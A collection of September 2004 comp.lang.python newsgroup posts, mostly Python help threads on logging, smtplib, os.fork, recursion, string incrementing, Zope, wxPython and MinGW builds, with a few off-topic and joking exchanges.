developments (generator comprehensions, itertools module, etc).

> 
> 2) add two new builtins, called respectively xsorted() and
> xreversed(), as the iterator versions of sorted() and reversed(). This
> way we keep the existing naming convention for range() and xrange().

   -1.  The "x" prefix means "this is a hack".  xrange() will become 
range() in Python 3.0.  The xreadlines module is deprecated already.

   Jp


From bokr at oz.net  Thu Sep 16 20:07:42 2004
From: bokr at oz.net (Bengt Richter)
Date: 17 Sep 2004 00:07:42 GMT
Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change
References: <cibkl1$395$07$1@news.t-online.com>
	<pan.2004.09.17.12.13.11.143566@jerf.org>
	<05n2d.2048$0i5.1135@newsread3.news.pas.earthlink.net>
Message-ID: <cid9se$iof$0$216.39.172.122@theriver.com>

On Thu, 16 Sep 2004 20:55:24 GMT, Andrew Dalke <adalke at mindspring.com> wrote:

>Jeremy Bowers wrote:
>> What possible counter-arguments could be brought to bear?
>> 
>> All-the-keywords-should-be-Unicode-Chinese-ly yrs,
>
>Traditional or simplified?
>
>  :)

Is that a di-glyph suggestion? (IOW, why a _single_ character to replace '@' ?)

Regards,
Bengt Richter


From davecook at nowhere.net  Sun Sep 12 22:39:29 2004
From: davecook at nowhere.net (David Cook)
Date: Mon, 13 Sep 2004 02:39:29 GMT
Subject: java
References: <6712b7e.0409102159.42cd71d4@posting.google.com>
Message-ID: <slrncka231.g1g.davecook@david-cooks-computer.local>

On 2004-09-11, Demo <demobudda at yahoo.com> wrote:

> What computer science concepts can I learn from Java and not from Python?

Access control (e.g. private, public, protected).

There's also a certain pleasure in actually getting things to work in Java,
somewhat like the pleasure, I imagine, of building ships in bottles.

And I have to say there are some really nice open source Java projects like
Hibernate.

Dave Cook


From quaggy at gmail.com  Thu Sep 16 20:41:55 2004
From: quaggy at gmail.com (Jonathan Wright)
Date: 16 Sep 2004 17:41:55 -0700
Subject: Is this a bug in the windows tempfile.py?
In-Reply-To: <4149373e$0$13011$9b622d9e@news.freenet.de>
Message-ID: <cidbsj$hi5@odak26.prod.google.com>

Thanks Martin.

I came across a bug in mod_python which was due to mod_python relying
on the result of tempfile.TemporaryFile() to be a FileType. The more I
think about it, the more the checks in mod_python are just plain wrong.
Jonathan.



From mailtome200420032002 at yahoo.com  Sat Sep 18 01:08:15 2004
From: mailtome200420032002 at yahoo.com (john)
Date: 17 Sep 2004 22:08:15 -0700
Subject: How to go about developing in zope
References: <4c900ea0.0409160754.2158e732@posting.google.com>
	<414a9787@pfaff2.ethz.ch>
Message-ID: <4c900ea0.0409172108.5ed8b24d@posting.google.com>

Josef Meile <jmeile at hotmail.com> wrote in message news:<414a9787 at pfaff2.ethz.ch>...

> I think the best way to develop such product is by using an external 
> database to store the data (for the zope interaction, you can use an 
> existent Zope Database Adapter - See the zope book for more info), doing 
> the interfaces with ZPT (Zope's Page Templates -> Don't use DTML), and 
> coding the logic on a python based product (forget about ZClasses)
> 
But doing it this way is same as doing in php or any
other  framework like cherrypy .How does zope help me?
>From my understanding I think in zope we have to
develop Zclasses    for objects not already available
which in this application can be timesheet etc.... Am
I right?? Also how zope helps me to implement different kind of access
level for users(admin,apprver,employee)or I have to resort to plain
old relational database for it too??


From __peter__ at web.de  Sun Sep  5 10:55:44 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 05 Sep 2004 16:55:44 +0200
Subject: simple question
References: <mailman.2895.1094395204.5135.python-list@python.org>
Message-ID: <chf9dh$hg8$07$1@news.t-online.com>

Ajay wrote:

> self.logger.error("Illegal date index, "  str(dateIndex))

I think you meant 

self.logger.error("Illegal date index ",  str(dateIndex))

error(fmt, arg1, arg2, ..., argN)

is just a convenient alternative to

error(fmt % (arg1, arg2, ..., argN))

Therefore

self.logger.error("Illegal date index %s", dateIndex)

or

self.logger.error("Illegal date index " + str(dateIndex))

should both work.

Peter





From grante at visi.com  Mon Sep 20 11:48:01 2004
From: grante at visi.com (Grant Edwards)
Date: 20 Sep 2004 15:48:01 GMT
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3534.1095656825.5135.python-list@python.org>
	<0mssk056r9vp6qodi5drbin95g2gv58dem@4ax.com>
Message-ID: <414efbb1$0$60631$a1866201@newsreader.visi.com>

On 2004-09-20, Andrea Griffini <agriff at tin.it> wrote:

> This is from the Bible...
>
> 007:023 And he made a molten sea, ten cubits from the one brim to the
>         other: it was round all about, and his height was five cubits:
>         and a line of thirty cubits did compass it round about.
>
> So it's clear that pi must be 3

If you've only got 1 significant digit in your measured values,
then Pi == 3 is a prefectly reasonable value to use.

-- 
Grant Edwards                   grante             Yow!  Why is everything
                                  at               made of Lycra Spandex?
                               visi.com            


From martin at v.loewis.de  Fri Sep 17 15:52:23 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 17 Sep 2004 21:52:23 +0200
Subject: smtplib (111, 'Connection refused')
In-Reply-To: <mailman.3467.1095448992.5135.python-list@python.org>
References: <mailman.3467.1095448992.5135.python-list@python.org>
Message-ID: <414b4074$0$24870$9b622d9e@news.freenet.de>

Josh Close wrote:
> I'm using the smtplib module and I keep getting this error: (111,
> 'Connection refused') What could be causing this? 

This means there is no SMTP server running on the remote system.
However, there *is* a TCP implementation (typically the operating
system) on the other end that tells you port 25 is not being
listened to.

Regards,
Martin


From bokr at oz.net  Thu Sep 23 17:41:03 2004
From: bokr at oz.net (Bengt Richter)
Date: 23 Sep 2004 21:41:03 GMT
Subject: Unexpected result.
References: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca>
	<sMudnfJId4X_vM7cRVn-hg@comcast.com>
	<cive26$5p0$0$216.39.172.122@theriver.com>
Message-ID: <civftf$95k$0$216.39.172.122@theriver.com>

On 23 Sep 2004 21:09:26 GMT, bokr at oz.net (Bengt Richter) wrote:

>On Thu, 23 Sep 2004 14:18:01 -0500, "Larry Bates" <lbates at swamisoft.com> wrote:
>
>>Actually the result is exactly as expected.
>>Programming 101 teaches us not to reuse
>>loop variables in nested loops.
>>
>
>[14:07] C:\pywk\clp>type p101.cpp
>#include <cstdio>
>void main(){
>    char abc[]="abc";
>    for(int i=0;i<3;++i){
>        printf("%c ", abc[i]);
>        for(int i=0;i<3;++i) printf("%d ", i);
>    }
>}
>
>
>[14:07] C:\pywk\clp>cl p101.cpp
>Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
>Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
>
>p101.cpp
>Microsoft (R) Incremental Linker Version 6.00.8168
>Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
>
>/out:p101.exe
>p101.obj
>
>[14:07] C:\pywk\clp>p101
>a 0 1 2 b 0 1 2 c 0 1 2
>
>;-)
>
>Regards,
>Bengt Richter

Oops, I gave too much credit to M$ ;-/
Reordering the above as below, it gives

[14:24] C:\pywk\clp>cl/nologo p101.cpp
p101.cpp

[14:38] C:\pywk\clp>p101
0 1 2   0 1 2   0 1 2

vs g++ from mingw using msys shell:

[14:35] /c/pywk/clp>cat -n p101.cpp
     1  #include <cstdio>
     2  int main(){
     3      char abc[]="abc";
     4      for(int i=0;i<3;++i){
     5          for(int i=0;i<3;++i) printf("%d ", i);
     6          printf("%c ", abc[i]);
     7      }
     8      return 0;
     9  }
    10  
[14:35] /c/pywk/clp>g++  p101.cpp -o p101a.exe
p101.cpp: In function `int main()':
p101.cpp:6: warning: name lookup of `i' changed
p101.cpp:4: warning:   matches this `i' under ISO standard rules
p101.cpp:5: warning:   matches this `i' under old rules
[14:35] /c/pywk/clp>p101a
0 1 2 a 0 1 2 b 0 1 2 c [14:36] /c/pywk/clp>
[14:36] /c/pywk/clp>

Regards,
Bengt Richter


From pfeiffer at cs.nmsu.edu  Sat Sep  4 15:25:41 2004
From: pfeiffer at cs.nmsu.edu (Joe Pfeiffer)
Date: 04 Sep 2004 13:25:41 -0600
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
	<qs9_c.235307$8_6.157753@attbi_s04>
	<1094285694.404322@teapot.planet.gong>
	<irl_c.67482$jZ5.60995@clgrps13>
Message-ID: <1bpt51alai.fsf@cs.nmsu.edu>

> "Rupert Pigott" <roo at try-removing-this.darkboong.demon.co.uk> wrote in
> message news:1094285694.404322 at teapot.planet.gong...
> 
> > Consider this : If the tables were turned and an Aerojet booster
> > exploded in the sky I'll bet the armchair QBs would be asking why
> > were Aerojet chosen over Morton-Thiokol who had more experience of
> > building large solid-fuel rockets.

However, it would certainly not have failed at the segment joints.

The more I read sci.space.tech the more convinced I am that the whole
shuttle concept was fundamentally flawed from the beginning.  Putting
the orbiter next to (rather than on top of) the huge tank of high
explosive is not a  good idea.  Reentry from orbit is not the same as
flying an airplane; ablative heat shields work and work well.
-- 
Joseph J. Pfeiffer, Jr., Ph.D.       Phone -- (505) 646-1605
Department of Computer Science       FAX   -- (505) 646-1002
New Mexico State University          http://www.cs.nmsu.edu/~pfeiffer


From sbabbitt at commspeed.net  Mon Sep 13 02:22:00 2004
From: sbabbitt at commspeed.net (Tom B.)
Date: Sun, 12 Sep 2004 23:22:00 -0700
Subject: ANN:A wxHtmlWindow forms implementation.
Message-ID: <1095057128.250036@news.commspeed.net>


It consists of a pre-filter,
http://users.commspeed.net/tbabbitt/tom2/HTMLparse.py

usage:

import HTMLparse,urllib2
TomFilter = HTMLparse.TomFilter()
webtext = urllib2.urlopen('http://www.yahoo.com')
formtxt = TomFilter.formfilter(webtext,'http://www.yahoo.com')
# after feeding
imagelist = TomFilter.imagelist
linklist = TomFilter.linklist
scripttext = TomFilter.scripttext
linktextlist = TomFilter.linktextlist
background  = TomFilter.background
backgroundcolor  = TomFilter.backgroundcolor


    The parser, completes URL's, changes form tags to custom wxControl tags
and mangles frames into rows of tables. (note encoding('utf_8','ignore').

The next part is a custom module for web controls.
http://users.commspeed.net/tbabbitt/tom2/webwig.py

The controls post there events to a custom event
and are available as a class called WebEvent. (Note Radio buttons are
implemented as check boxes so you have to uncheck at the event end.)

The only thing left to be done is to link the events to the program running
the wx.html window.

import wx
import wx.html as  html
import wx.lib.wxpTag
import webwig
def __init__(self):
....self.Bind(webwig.EVT_UPDATE_WEBFORM,self.OnPyEvent)
....self.WebObjects = {}

def OnPyEvent(self, event):
....self.WebEvent = event.GetVal()
....if self.WebEvent.Typ[:4] == 'int_':
........self.WebObjects[self.WebEvent.Id] = self.WebEvent
........self.WebObjects[self.WebEvent.Id].Typ =
self.WebObjects[self.WebEvent.Id].Typ[4:]
....else:
........self.WebObjects[self.WebEvent.Id] = self.WebEvent

    This gives you a WebEvent object and dictionary of all web objects on
page.
WebEvent objects have the following properties,
self.WebEvent.Name # the control name
self.WebEvent.Value # the control value
self.WebEvent.WebValue # in the form u'&amp;%s="%s"' % (Name ,Value )
self.WebEvent.URL # the full URL
self.WebEvent.FormData  # the full Form data in dictionary
self.WebEvent.Data # extra data from select and data from hidden, in form
'action'|'http://'|'method'|'POST' ect.
self.WebEvent.Id #the controll Id
self.WebEvent.Win # the control itself

    Here is code for the Demo (love the new demo).
 http://users.commspeed.net/tbabbitt/tom2/demowebwig.py

    I have also written a program to display its features it requires,
PIL , http://www.pythonware.com/products/pil/
image_view (ScrolledWindow PIL viewer)
http://users.commspeed.net/tbabbitt/tom/image_view.py
the Browser http://users.commspeed.net/tbabbitt/tom2/TomBrowse.py

Inspired by the demo it separates the web page components into notebook
pages
and runs the Content of a STC through the above event. Errors are displayed
on a log page.

I know how much people have wanted something like this so I just want to get
the code out there. The tag handler complains on pages with hidden tags but
I can find nothing wrong with my tag syntax. There is an unhanded exception
when I use the SetPage from the event definition but when the page is saved
it loads back ok so I probably need to destroy the web objects on the event
end.

Enjoy,
Tom Babbitt





From sbabbitt at commspeed.net  Mon Sep 13 14:56:12 2004
From: sbabbitt at commspeed.net (Tom B.)
Date: Mon, 13 Sep 2004 11:56:12 -0700
Subject: ANN:A wxHtmlWindow forms implementation.
References: <1095057128.250036@news.commspeed.net>
	<mailman.3244.1095095969.5135.python-list@python.org>
Message-ID: <1095104520.249408@news.commspeed.net>


"Carlos Ribeiro" <carribeiro at gmail.com> wrote in message 
news:mailman.3244.1095095969.5135.python-list at python.org...
> Tom,
>
> I've downloaded your code but wasn't able to run the demo. It stops
> with a "no module named Main" exception. In fact, no such module is
> mentioned in your message.
>
> BTW, it would be useful if you added a small description to your
> package announcement -- what it does, what is it useful for, etc. I'm
> checking it out of curiosity, but I admit that I don't know exactly
> what to expect.
>
> Best regards,
>
>
I misunderstood your reply and I apologize if my reply was an insult to your 
intelligence. The demo code is a demo but it is for the wxPython demo 
program, have a look at the demo code in the 'wxHtmlWindow' subsection of 
the 'more Windows/Controls section and compare the code to my demo code.

Tom 




From abra9823 at mail.usyd.edu.au  Thu Sep  9 05:30:01 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Thu,  9 Sep 2004 19:30:01 +1000
Subject: xpath and python
In-Reply-To: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk>
References: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk>
Message-ID: <1094722201.41402299ad2b9@www-mail.usyd.edu.au>

hi!

PyXML -> xpath module
similar module in 4Suite

cheers

Quoting C Gillespie <csgcsg39 at hotmail.com>:

> Dear All,
>
> Does anyone know if there is a python library that accepts xpath
> constructs?
>
> Thanks for any help
>
> Colin
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From aquila_deus at yahoo.co.uk  Sat Sep  4 17:03:21 2004
From: aquila_deus at yahoo.co.uk (Aquila Deus)
Date: 4 Sep 2004 14:03:21 -0700
Subject: 2 different Python distributions on same Windows box?
References: <1ua_c.794$Gi5.373@trndny05>
Message-ID: <c5cfac8f.0409041303.243b37ee@posting.google.com>

David Lees <abcdebl2nonspammy at verizon.net> wrote in message news:<1ua_c.794$Gi5.373 at trndny05>...
> I currently have PythonWin 2.3.4 on my Windows 2000 box, but would like 
> to try the Enthougt 2.2.3 distribution.  Are there any tricks to making 
> these 2 distributions co-exist?  Are there any potential problems?

Registry keys may be overrided. Bad things may happen when you install
python packages using setup program.


From gerrit at nl.linux.org  Sat Sep 18 07:53:10 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Sat, 18 Sep 2004 13:53:10 +0200
Subject: Newbie : Round shaped button for wxPython
In-Reply-To: <cig0t8$chh$1@news.Stanford.EDU>
References: <cig0t8$chh$1@news.Stanford.EDU>
Message-ID: <20040918115310.GA22546@nl.linux.org>

Hi Oh Kyu Yoon,

Oh Kyu Yoon wrote:
> Subject: Newbie : Round shaped button for wxPython
> Date: Sat, 18 Sep 2004 02:56:33 +0200 (CEST)
> 
> How do you make a round shaped button in wxPython?
> Thanks.

I don't know. But you may want to ask it at the wxPython mailing list:
http://www.wxpython.org/maillist.php

It's probably that there is more expertise on the subject there than
there is here.

yours,
Gerrit.

-- 
Weather in Twenthe, Netherlands 18/09 13:25:
	21.0?C   wind 7.2 m/s SSW (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From donald.welch at hp.com  Tue Sep 21 13:50:59 2004
From: donald.welch at hp.com (djw)
Date: Tue, 21 Sep 2004 10:50:59 -0700
Subject: new python book!!
References: <mailman.3579.1095699964.5135.python-list@python.org>
Message-ID: <41506aca@usenet01.boi.hp.com>

vegetax vegetax wrote:

> 
>  Well , this looks like a very very interesting book ,
> i am definitly going to buy it :
> http://www.apress.com/book/bookDisplay.html?bID=363
> 
>  I think we need more updated python books, most of
> them are from version 2.1 or 2.2 , if you have some
> other book covering python 2.3, post the link here.
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com


"To guide readers through the new scripting language, Python, this book
discusses every aspect of client and server programming."

New? Since when is Python new? (well, maybe 10 years ago or so).

-Don



From spam at nimblegen.com  Fri Sep 10 10:10:13 2004
From: spam at nimblegen.com (Chuck Dillon)
Date: Fri, 10 Sep 2004 09:10:13 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <41409A6B.E618952C@yahoo.com>
References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<chpkm2$3h2$1@grandcanyon.binc.net> <41409A6B.E618952C@yahoo.com>
Message-ID: <chschh$q5n$1@grandcanyon.binc.net>

CBFalconer wrote:

> Chuck Dillon wrote:
> 
> ... snip ...
> 
>>It's easy to say we *don't* need but not so easy to demonstrate. 
>>You don't even offer a hand wave attempt at articulating an
>>alternative. In the political world everything is subject to
>>debate.  Taking the war to the middle east, increasing policing
>>powers, increasing intelligence capabilities...  But in the real
>>world there is a huge threat and action must be taken.
> 
> 
> Must it?  I am not claiming that it must not, but that the matter
> deserves more thought than a panic reaction.  The very first thing
> to settle should be the objectives.  Then the means and costs of
> achieving such can be considered.
> 

Your choice to charactize things in terms like "panic reaction" doesn't 
make it so.  If their was a rush to act by a pseudo-democratic 
government it is because the "loyal opposition" chooses to act in 
concert with the majority party.  There was virtually no resistance 
from the Democrat side when debating the effective declaration of war 
on Iraq nor the Patriot Act.  If you got the impression of panic it 
comes from the bipartisan nature of the actions taken.

-- ced

-- 
Chuck Dillon
Senior Software Engineer
NimbleGen Systems Inc.


From rhoder at worldpath.net  Fri Sep 17 03:04:47 2004
From: rhoder at worldpath.net (Derek Rhodes)
Date: Fri, 17 Sep 2004 03:04:47 -0400
Subject: Recursive function not returning value
Message-ID: <10kl34qereo06ac@corp.supernews.com>

using
Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on 
win32

OK, I have a recursive function that should return a list, but doesn't

<start session>

def test(word):
    if type(word) == str:
        print "it's a word"
        test([word])

    if type(word) == list:
        print "The conditional worked, see ->", word
        return word

>>>a = test('foobity')
it's a word
The conditional worked, see -> ['foobity']
>>> print a
None

</end session>

What am I missing?

-derek.




From alanmk at hotmail.com  Tue Sep 14 07:35:37 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Tue, 14 Sep 2004 12:35:37 +0100
Subject: Greenlets: where are they now???
In-Reply-To: <4edc17eb.0409132016.78efa46d@posting.google.com>
References: <foadnUs_VtNpFdncRVn-jQ@lmi.net>
	<m37jqybc1m.fsf@pc150.maths.bris.ac.uk>
	<4edc17eb.0409132016.78efa46d@posting.google.com>
Message-ID: <6DA1d.27555$Z14.9491@news.indigo.ie>

[Michael Hudson]
>>"It is tough to make predictions, especially about the future."
>>         -- Yogi Berra

[Michele Simionato]
> I think I saw this attributed to Nils Bohr. Can somebody check?

Or was it Enrico Fermi? Winston Churchill? Vint Cerf? Groucho Marx?

http://www.larry.denenberg.com/predictions.html

regards,

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From abkhd at earth.co.jp  Wed Sep 22 18:15:55 2004
From: abkhd at earth.co.jp (A. B., Khalid)
Date: 22 Sep 2004 15:15:55 -0700
Subject: Fixed: pyMinGW patched Python compiles in MinGW & passes
	regrtests
References: <8ad8ad0a.0409200909.545f257@posting.google.com>
	<ufz5clka2.fsf@yahoo.co.uk>
Message-ID: <8ad8ad0a.0409221415.3d328fc3@posting.google.com>

Paul Moore <pf_moore at yahoo.co.uk> wrote in message news:<ufz5clka2.fsf at yahoo.co.uk>...
> abkhd at earth.co.jp (A. B., Khalid) writes:
> 
> > This is to inform those interested in getting Python to compile in
> > MinGW that the pyMinGW patch is now able to help compile both Python
> > 2.3.4 Final and Python 2.4a3 and the resulting MinGW Python passes the
> > regrtests as follows.
> 
> Cool! It would be nice if this could be made into a patch to core
> python, so that the main sources support a mingw build.
> 
> Paul.


Hello Paul. Sorry for the delay.

Yes, it would be, wouldn't it? If you were addressing me there, as
opposed to the general audience of c.l.py or the core-developers of
Python, then allow me to say that in principal I have no problem with
pyMinGW making it to Python's core, provided of course that a
copyright notice appears somewhere (at least in the makefiles). This I
think would not be a problem. After all, and from what I have seen of
Python's source, there is a good habit of including copyright notices
of contributing authors to Python in the works they authored.

I must confess that aside from me being totally unfamiliar with the
process of officially patching Python, the major hurdle appears to me,
in addition to that, in whether the patch was tested enough, or by
enough people, so as to earn itself a place in the core- that of
course if it will be allowed a place there to start with. Have you
tried it out? Please do if you still didn't have the chance.

I might be mistaken, but I think that testing should come first. After
all there is nothing urgent here, or is there? When people find that
it really works, they will call for it to be included in Python's
source. In the meantime, pyMinGW is there for those who need it, and
being a third-party patch should not be a reason to scare people away
from using it, especially since it gets the job done. With that said,
I am open to any thoughts on this from your esteemed person or from
anyone else.


Best regards
Khalid


From agriff at tin.it  Sun Sep 26 03:37:18 2004
From: agriff at tin.it (Andrea Griffini)
Date: Sun, 26 Sep 2004 07:37:18 GMT
Subject: Unexpected Python Behavior
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com>
	<mailman.3834.1096015522.5135.python-list@python.org>
	<RImdnbz2hMm7v8ncRVn-qg@lmi.net>
	<cj18jn$47n$1@pegasus.csx.cam.ac.uk>
Message-ID: <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com>

On Fri, 24 Sep 2004 14:48:37 +0100, Michael Hoffman
<m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote:

>I think you're missing the usefulness of this feature. Go back to the 
>link you included and read the next paragraph, "This feature can be useful."

Given that now functions can have attributes, wouldn't be better
stop pushing ugly, risky and cryptic syntax for poor's man static ?
IMO one thing is backward compatibility, another is pushing the
uglyness in the future for no good reasons.

I am talking about the python docs that everywhere are apparently
advocating this approach for local cache implementation. Is this
doing any good for newbies approaching python ?

Or may be this is more pythonic ? If yes... why ?

Andrea


From indigo at bitglue.com  Sun Sep 26 13:07:46 2004
From: indigo at bitglue.com (Phil Frost)
Date: Sun, 26 Sep 2004 13:07:46 -0400
Subject: Blender!
In-Reply-To: <10ldkhbkmilivc7@corp.supernews.com>
References: <Jyv5d.8761$N45.227281@twister2.libero.it>
	<mailman.3931.1096206442.5135.python-list@python.org>
	<10ldkhbkmilivc7@corp.supernews.com>
Message-ID: <20040926170746.GA27332@unununium.org>

Well, I was close! :D They all sound like weird spanish to me anyway.

On Sun, Sep 26, 2004 at 07:28:59AM -0700, Jeffrey Froman wrote:
> Phil Frost wrote:
> 
> > Hopefully I got that right. I can't solve your problem, but I did find
> > some forums in portuguese that might address your problem.
> 
> But isn't the OP in Italian?


From bokr at oz.net  Sat Sep  4 13:25:51 2004
From: bokr at oz.net (Bengt Richter)
Date: 4 Sep 2004 17:25:51 GMT
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
	<Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>
Message-ID: <chctqv$e50$0$216.39.172.122@theriver.com>

On 2 Sep 2004 06:17:05 GMT, Eric Bohlman <ebohlman at omsdev.com> wrote:

>"Amanita, Love Ewe" <ladyamanita at aol.com> wrote in
>news:1bf5bcb9.15695836 at aol.com: 
>
>> Sharon expects the printer within hers and actually looks.  Why will
>> you grasp the ugly worthwhile onions before Satam does?  Many proud 
>> cats over the abysmal planet were loving against the tired bathroom.  
>
>This seems to be of somewhat better quality than the output of the typical 
>random-text generator.  Can anyone suggest something on CPAN useful for 
>such?

        Clearly, the speaker-hearer's linguistic intuition suffices
        to account for the levels of acceptability from fairly high
        (e.g. (99a)) to virtual gibberish (e.g. (98d)). Presumably,
        the fundamental error of regarding functional notions as
        categorial is not subject to an important distinction in
        language use. For any transformation which is sufficiently
        diversified in application to be of any interest, any
        associated supporting element is necessary to impose an
        interpretation on the ultimate standard that determines the
        accuracy of any proposed grammar. If the position of the
        trace in (99c) were only relatively inaccessible to movement,
        most of the methodological work in modern linguistics does
        not readily tolerate a general convention regarding the forms
        of the grammar. Nevertheless, any associated supporting
        element appears to correlate rather closely with a parasitic
        gap construction. Suppose, for instance, that an important
        property of these three types of EC does not readily tolerate
        the strong generative capacity of the theory. Comparing these
        examples with their parasitic gap counterparts in (96) and
        (97), we see that this selectionally introduced contextual
        feature is to be regarded as the traditional practice of
        grammarians. By combining adjunctions and certain
        deformations, a descriptively adequate grammar does not
        readily tolerate a descriptive fact. It must be emphasized,
        once again, that this selectionally introduced contextual
        feature delimits an important distinction in language use.

Regards,
Bengt Richter


From project5 at redrival.net  Wed Sep  1 14:10:02 2004
From: project5 at redrival.net (Andrei)
Date: Wed, 1 Sep 2004 20:10:02 +0200
Subject: GUI Designer
References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com>
Message-ID: <z9zkklsi07af$.9igezhwp6s2p$.dlg@40tude.net>

A.M wrote on Tue, 31 Aug 2004 11:37:14 -0400:

> Do we have any OpenSource GUI designer for Python ?

Not yet mentioned: wxGlade (wxglade.sourceforge.net). Also for wxPython.

-- 
Yours,

Andrei

=====
Real contact info (decode with rot13):
cebwrpg5 at jnanqbb.ay. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V ernq
gur yvfg, fb gurer'f ab arrq gb PP.


From luka.milkovic at public.srce.hr  Mon Sep 13 11:55:14 2004
From: luka.milkovic at public.srce.hr (Luka Milkovic)
Date: Mon, 13 Sep 2004 17:55:14 +0200
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
	<mailman.3228.1095078779.5135.python-list@python.org>
Message-ID: <pan.2004.09.13.15.55.13.568092@public.srce.hr>

On Mon, 13 Sep 2004 07:32:47 -0500, Jeff Epler wrote:

> In either case, you perform the reverse steps on the reassembled message
> on the other end:
>     import email.Parser
>     decoded_message = email.Parser.Parser().parsestr(message)
>     decoded_message.get_type() # must be application/x-luka-milkovic
>                                # or this is not a message from your
>                                # program
>     bytes = decoded_message.get_payload().decode("base64")
>     # now pickle.loads or struct.unpack the bytes
> 
> Jeff

Hi Jeff, thanks for the info about SMTP protocol, I knew I was doing
something wrong, and now I know what exactly went wrong. I was thinking
about encoding, but at the time of the development of the sending part, I
decided to postpone it, and that seems to be a big mistake.

But, you mentioned MIME types and the methods of creating MIME mails. I
was always afraid of MIME because I don't understand it well (though I've
read documentation). I did what you told me to do about sending e-mail,
and it works fine. But when it comes to decoding the mail, I have some
problems. I connect to my POP3 server and download my MIME e-mail (using
command pop.retr()) and save it to a file tempMail.dat. I don't know what
to do next, I tried with the parser but it doesn't work. My code looks
like the one you've given above.

print bytes  command returns nothing, a blank line... I don't know what to
do, please help.

Thank you very much.



From erik at heneryd.com  Mon Sep 13 17:17:26 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Mon, 13 Sep 2004 23:17:26 +0200
Subject: os.fork() question?
In-Reply-To: <938a4680.0409131305.2516b461@posting.google.com>
References: <938a4680.0409131305.2516b461@posting.google.com>
Message-ID: <41460E66.9070600@heneryd.com>

Ishwar Rattan wrote:
> Info at http://doc.python.org/ on os.fork() says that
>   it has 'unix' semantics (on a UNIX box) on return values
>   child pid in parent, 0 in child, no mention of failure?
> 
> So, what does it return on failure? I tried it under Linux
> with Python-2.3.4, after few thousand forks the system just hangs!
> (does not return/report fork failure)

It raises OSError.


Erik


From jeffrey at fro.man  Thu Sep 16 00:20:03 2004
From: jeffrey at fro.man (Jeffrey Froman)
Date: Wed, 15 Sep 2004 21:20:03 -0700
Subject: Incrementing a string
References: <pan.2004.09.15.22.08.19.894702@cox.net>
Message-ID: <10ki53nd4vgfpff@corp.supernews.com>

John Velman wrote:

> $label++;
> 
> This conveniently steps through the alphabet, then goes on to aa, ab,ac,
> ...
> 
> In Python I can get from a to z with a generator as so:
[snip]
> But it looks like going beyond z to aa and so on is (relatively)
> complicated.

Here's one way, perhaps it is simple enough for you:

import string

def strpp(s):
    for i in s:
        yield i
    for i in strpp(s):
        for j in s:
            yield i + j

labels = strpp(string.lowercase)
label = label.next() # ad infinitum


Hope you enjoy Python,
Jeffrey


